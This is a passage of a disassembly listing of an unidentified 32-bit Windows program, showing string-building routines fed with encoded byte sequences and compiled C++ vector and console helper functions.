12h push 5 push 13h push 3Fh push 9 lea edx, [esp+88h] push 13h push edx mov byte ptr [esp+3D4h], 36h call sub_4019B5 add esp, 64h mov byte ptr [esp+370h], 37h mov ecx, eax call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea eax, [esi+0F11h] mov ecx, esi push eax mov byte ptr [esp+38Ch], 38h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 0Ch push 13h push 13h push 3Fh push 5 push 13h push 15h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+84h] push 13h push ecx mov byte ptr [esp+3D0h], 39h call sub_4019B5 add esp, 60h mov ecx, eax mov byte ptr [esp+370h], 3Ah call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edx, [esi+107Eh] mov ecx, esi push edx mov byte ptr [esp+38Ch], 3Bh call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea eax, [esp+10h] mov ecx, offset byte_4D638F push eax mov [esp+14h], edi call sub_401A5F lea ecx, [esp+98h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 13h push 13h push 1 push 10h push 0Eh push 1 push 8 push 3 push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx mov byte ptr [esp+3D4h], 3Ch call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 3Dh call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edx, [esi+1234h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 3Eh call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+80h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 0Eh push 1 push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 mov byte ptr [esp+3CCh], 3Fh push 13h lea eax, [esp+8Ch] push eax call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 40h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea ecx, [esi+127Dh] mov byte ptr [esp+388h], 41h push ecx mov ecx, esi call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+158h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 14h push 12h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+78h] push 13h push edx mov byte ptr [esp+3C4h], 42h call sub_4019B5 add esp, 54h mov ecx, eax mov byte ptr [esp+370h], 43h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea eax, [esi+11EBh] mov ecx, esi push eax mov byte ptr [esp+38Ch], 44h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+188h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 12h push 5 push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+80h] push 13h push ecx mov byte ptr [esp+3CCh], 45h call sub_4019B5 add esp, 5Ch mov ecx, eax mov byte ptr [esp+370h], 46h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edx, [esi+11A2h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 47h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+68h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 18h push 9 push 6 push 5 push 12h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 mov byte ptr [esp+3D4h], 48h push 13h lea eax, [esp+94h] push eax call sub_4019B5 add esp, 6Ch mov ecx, eax mov byte ptr [esp+370h], 49h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edi, [esi+10C7h] mov ecx, esi push edi mov byte ptr [esp+38Ch], 4Ah call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+170h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 13h push 13h push 1 push 10h push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx mov byte ptr [esp+3D4h], 4Bh call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 4Ch call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edx, [esi+1159h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 4Dh call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 0Ch push 13h push 13h push 3Fh push 5 push 13h push 15h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+84h] push 13h push eax mov byte ptr [esp+3D0h], 4Eh call sub_4019B5 add esp, 60h mov ecx, eax mov byte ptr [esp+370h], 4Fh call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea ecx, [esi+12C6h] mov byte ptr [esp+388h], 50h push ecx mov ecx, esi call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea edx, [esp+10h] mov ecx, offset byte_4D638F push edx mov [esp+14h], edi call sub_401A5F push offset byte_446F70 push offset word_4E6E9A call sub_40102D add esp, 8 lea ecx, [esp+230h] call sub_401424 lea ecx, [esp+260h] mov byte ptr [esp+358h], 51h call sub_401424 push 56D2h push 539h mov byte ptr [esp+360h], 52h call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 push eax lea eax, [esp+234h] push offset dword_4437F4 push eax call sub_40102D push 56D2h push 539h call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 14h push eax push offset dword_4437F4 lea ecx, [esp+268h] push ecx call sub_40102D sub esp, 0Ch lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+606h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+64Fh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+805h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+84Eh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+897h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+450h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+5Ch] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+499h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+52Bh] push eax mov ecx, esi call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+574h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+0B28h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+5Ch] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+8E0h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+278h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+3BEh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+1B8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+407h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+230h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+5BDh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+158h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+698h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+128h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+72Ah] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+0F8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+6E1h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+290h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+773h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+2C0h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+7BCh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h mov ecx, esp mov [esp+24h], esp push offset word_4E6E9A call sub_4014C9 lea ecx, [esi+251h] push ecx mov ecx, esi call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+140h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+29Ah] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+110h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+2E3h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+2A8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+32Ch] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+248h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+375h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- push 0 mov ecx, offset byte_4D638F call sub_40146A mov ecx, [eax] add ecx, 16Dh call sub_4017E4 push eax push offset byte_44742D mov ecx, offset word_448D16 call sub_401596 push 0 mov ecx, offset byte_4D638F call sub_40146A mov ecx, [eax] add ecx, 1B6h call sub_4017E4 push eax push offset dword_4473E4 mov ecx, offset word_448D16 call sub_401596 push 0 mov ecx, offset byte_4D638F call sub_40146A mov ecx, [eax] call sub_4017E4 push eax push offset dword_4472C0 mov ecx, offset word_448D16 call sub_401596 push 0 mov ecx, offset byte_4D638F call sub_40146A mov ecx, [eax] add ecx, 124h call sub_4017E4 push eax push offset word_447352 mov ecx, offset word_448D16 call sub_401596 push 0 mov ecx, offset byte_4D638F call sub_40146A mov ecx, [eax] add ecx, 0DBh call sub_4017E4 push eax push offset byte_447309 mov ecx, offset word_448D16 call sub_401596 push 0 mov ecx, offset byte_4D638F call sub_40146A mov ecx, [eax] add ecx, 92h call sub_4017E4 push eax push offset byte_44739B mov ecx, offset word_448D16 call sub_401596 push 0 mov ecx, offset byte_4D638F call sub_40146A mov ecx, [eax] add ecx, 1FFh call sub_4017E4 push eax push offset byte_4474BF mov ecx, offset word_448D16 call sub_401596 lea ecx, [esp+1D0h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 lea ecx, [esp+260h] mov byte ptr [esp+370h], 53h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+8Ch], esp push eax call sub_401861 lea ecx, [esp+230h] mov byte ptr [esp+388h], 54h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+0A8h], esp push eax call sub_401861 lea ecx, [esp+110h] mov byte ptr [esp+3A0h], 55h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+0C4h], esp push eax call sub_401861 mov ecx, offset word_448C9E mov byte ptr [esp+3B8h], 52h call sub_40137F ; --------------------------------------------------------------------------- lea ecx, [esp+260h] mov byte ptr [esp+358h], 51h call sub_401226 lea ecx, [esp+230h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] mov byte ptr [esp+358h], 1Dh call sub_401226 lea ecx, [esp+2Ch] mov byte ptr [esp+358h], 1Ch call sub_401226 lea ecx, [esp+0E0h] mov byte ptr [esp+358h], 1Bh call sub_401226 lea ecx, [esp+2C0h] mov byte ptr [esp+358h], 1Ah call sub_401226 lea ecx, [esp+278h] mov byte ptr [esp+358h], 19h call sub_401226 lea ecx, [esp+110h] mov byte ptr [esp+358h], 18h call sub_401226 lea ecx, [esp+2A8h] mov byte ptr [esp+358h], 17h call sub_401226 lea ecx, [esp+140h] mov byte ptr [esp+358h], 16h call sub_401226 lea ecx, [esp+290h] mov byte ptr [esp+358h], 15h call sub_401226 lea ecx, [esp+170h] mov byte ptr [esp+358h], 14h call sub_401226 lea ecx, [esp+0B0h] mov byte ptr [esp+358h], 13h call sub_401226 lea ecx, [esp+1A0h] mov byte ptr [esp+358h], 12h call sub_401226 lea ecx, [esp+218h] mov byte ptr [esp+358h], 11h call sub_401226 lea ecx, [esp+1D0h] mov byte ptr [esp+358h], 10h call sub_401226 lea ecx, [esp+248h] mov byte ptr [esp+358h], 0Fh call sub_401226 lea ecx, [esp+200h] mov byte ptr [esp+358h], 0Eh call sub_401226 lea ecx, [esp+0C8h] mov byte ptr [esp+358h], 0Dh call sub_401226 lea ecx, [esp+2F0h] mov byte ptr [esp+358h], 0Ch call sub_401226 lea ecx, [esp+320h] mov byte ptr [esp+358h], 0Bh call sub_401226 lea ecx, [esp+2D8h] mov byte ptr [esp+358h], 0Ah call sub_401226 lea ecx, [esp+308h] mov byte ptr [esp+358h], 9 call sub_401226 lea ecx, [esp+338h] mov byte ptr [esp+358h], 8 call sub_401226 lea ecx, [esp+68h] mov byte ptr [esp+358h], 7 call sub_401226 lea ecx, [esp+0F8h] mov byte ptr [esp+358h], 6 call sub_401226 lea ecx, [esp+128h] mov byte ptr [esp+358h], 5 call sub_401226 lea ecx, [esp+98h] mov byte ptr [esp+358h], 4 call sub_401226 lea ecx, [esp+80h] mov byte ptr [esp+358h], 3 call sub_401226 lea ecx, [esp+158h] mov byte ptr [esp+358h], 2 call sub_401226 lea ecx, [esp+188h] mov byte ptr [esp+358h], 1 call sub_401226 lea ecx, [esp+1B8h] mov byte ptr [esp+358h], 0 call sub_401226 lea ecx, [esp+1E8h] mov dword ptr [esp+358h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+350h] pop edi pop esi mov large fs:0, ecx pop ebx add esp, 350h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 5C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409450 proc near ; CODE XREF: sub_40146Aj arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_401974 mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_409468 mov ecx, esi call sub_40190B ; --------------------------------------------------------------------------- loc_409468: ; CODE XREF: sub_409450+Fj mov ecx, esi call sub_401A37 lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_409450 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409490 proc near ; CODE XREF: sub_401A5Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40128A push eax mov ecx, esi call sub_40168B pop esi retn 4 sub_409490 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4094C0 proc near ; CODE XREF: sub_401A37j mov eax, [ecx+4] retn sub_4094C0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4094E0 proc near ; CODE XREF: sub_40128Aj mov eax, [ecx+8] retn sub_4094E0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409500 proc near ; CODE XREF: sub_401974j mov edx, [ecx+4] test edx, edx jnz short loc_40950A xor eax, eax retn ; --------------------------------------------------------------------------- loc_40950A: ; CODE XREF: sub_409500+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_409500 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409530 proc near ; CODE XREF: sub_40168Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_401A37 mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_401B9A mov ecx, edi call sub_401A37 lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_409530 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_409580 proc near ; CODE XREF: sub_40190Bj var_40 = byte ptr -40h var_39 = byte ptr -39h var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_C = dword ptr -0Ch push 0FFFFFFFFh push offset SEH_409580 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3Ch+var_39] lea ecx, [esp+3Ch+var_38] push eax push offset aInvalidVectorT ; "invalid vector<T> subscript" call near ptr 76081F67h nop lea ecx, [esp+44h+var_40] mov [esp+44h+var_C], 0 push ecx lea ecx, [esp+48h+var_30] nop call near ptr 760A0430h lea edx, [esp+48h+var_34] push offset dword_43F080 push edx call sub_436832 sub_409580 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409600 proc near ; CODE XREF: sub_401B9Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_4096CB mov ecx, esi call sub_401974 cmp edi, eax jnb short loc_409633 mov ecx, esi call sub_401974 mov ebp, eax jmp short loc_409635 ; --------------------------------------------------------------------------- loc_409633: ; CODE XREF: sub_409600+26j mov ebp, edi loc_409635: ; CODE XREF: sub_409600+31j mov ecx, esi call sub_401974 mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_401CAD ; --------------------------------------------------------------------------- mov edx, [esp+10h+arg_0] mov ebp, eax mov eax, [esi+4] push ebp push edx push eax mov ecx, esi call sub_4016D6 mov ecx, [esp+10h+arg_8] mov [esp+10h+arg_4], eax push ecx push edi push eax mov ecx, esi call sub_401177 mov edx, [esp+10h+arg_4] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+10h+arg_0] push eax push ecx push edx mov ecx, esi call sub_4016D6 mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_40170D mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_401294 ; --------------------------------------------------------------------------- lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_401974 add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_4096CB: ; CODE XREF: sub_409600+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_409729 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_4016D6 mov eax, [esi+8] mov edx, [esp+10h+arg_8] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_401177 mov edx, [esp+10h+arg_8] mov eax, [esi+8] push edx push eax push ebx call sub_401F96 mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_409729: ; CODE XREF: sub_409600+D8j test edi, edi jbe short loc_409763 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_4016D6 mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_401CCB mov ecx, [esp+1Ch+arg_8] lea edx, [edi+ebx] push ecx push edx push ebx call sub_401F96 mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_409763: ; CODE XREF: sub_409600+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_409600 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4097D0 proc near ; CODE XREF: sub_40170Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_4097F0 loc_4097E1: ; CODE XREF: sub_4097D0+1Ej push esi mov ecx, edi call sub_402072 add esi, 4 cmp esi, ebx jnz short loc_4097E1 loc_4097F0: ; CODE XREF: sub_4097D0+Fj pop edi pop esi pop ebx retn 8 sub_4097D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_409810 proc near ; CODE XREF: sub_401294j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_409810 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409830 proc near ; CODE XREF: sub_402072j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_7 pop ecx retn 4 sub_409830 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409850 proc near ; CODE XREF: sub_4016D6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_409882 push edi mov edi, [esp+10h+arg_8] loc_409866: ; CODE XREF: sub_409850+27j push esi push edi mov ecx, ebx call sub_4015AA add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_409866 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_409882: ; CODE XREF: sub_409850+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_409850 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4098A0 proc near ; CODE XREF: sub_401177j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_4098C7 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_4098B6: ; CODE XREF: sub_4098A0+23j push ebx push esi mov ecx, ebp call sub_4015AA add esi, 4 dec edi jnz short loc_4098B6 pop esi pop ebx loc_4098C7: ; CODE XREF: sub_4098A0+Aj pop edi pop ebp retn 0Ch sub_4098A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4098E0 proc near ; CODE XREF: sub_401CADj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_40203B sub_4098E0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 8 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409910 proc near ; CODE XREF: sub_4015AAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401145 add esp, 8 retn 8 sub_409910 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409940 proc near ; CODE XREF: sub_401F96j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_40995D mov edx, [esp+arg_8] push esi loc_409951: ; CODE XREF: sub_409940+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_409951 pop esi locret_40995D: ; CODE XREF: sub_409940+Aj retn sub_409940 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409970 proc near ; CODE XREF: sub_401CCBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_409992 mov eax, [esp+arg_8] push esi loc_409981: ; CODE XREF: sub_409970+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_409981 pop esi retn ; --------------------------------------------------------------------------- loc_409992: ; CODE XREF: sub_409970+Aj mov eax, [esp+arg_8] retn sub_409970 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4099D0 proc near ; CODE XREF: sub_40203Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_4099DA xor eax, eax loc_4099DA: ; CODE XREF: sub_4099D0+6j shl eax, 2 push eax call sub_4367FA sub_4099D0 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409A00 proc near ; CODE XREF: sub_401145j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_409A1B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_409A1B: ; CODE XREF: sub_409A00+11j retn sub_409A00 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409A30 proc near ; CODE XREF: sub_401979j arg_0 = dword ptr 4 mov al, byte_44719A push esi test al, al mov esi, ecx jz short loc_409A66 push edi call near ptr 28218E6h nop mov edi, dword_50F8C4 push 0FFFFFFF5h call edi push 0FFFFFFF4h mov [esi], eax call edi mov [esi+4], eax mov eax, [esp+8+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], eax pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_409A66: ; CODE XREF: sub_409A30+Aj mov ecx, [esp+4+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], ecx pop esi retn 4 sub_409A30 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409AA0 proc near ; CODE XREF: sub_401CDAj mov al, byte_44719A push esi test al, al mov esi, ecx jz short loc_409ABF nop call near ptr 2830000h mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0FFFFFFFFh loc_409ABF: ; CODE XREF: sub_409AA0+Aj mov byte ptr [esi+8], 0 pop esi 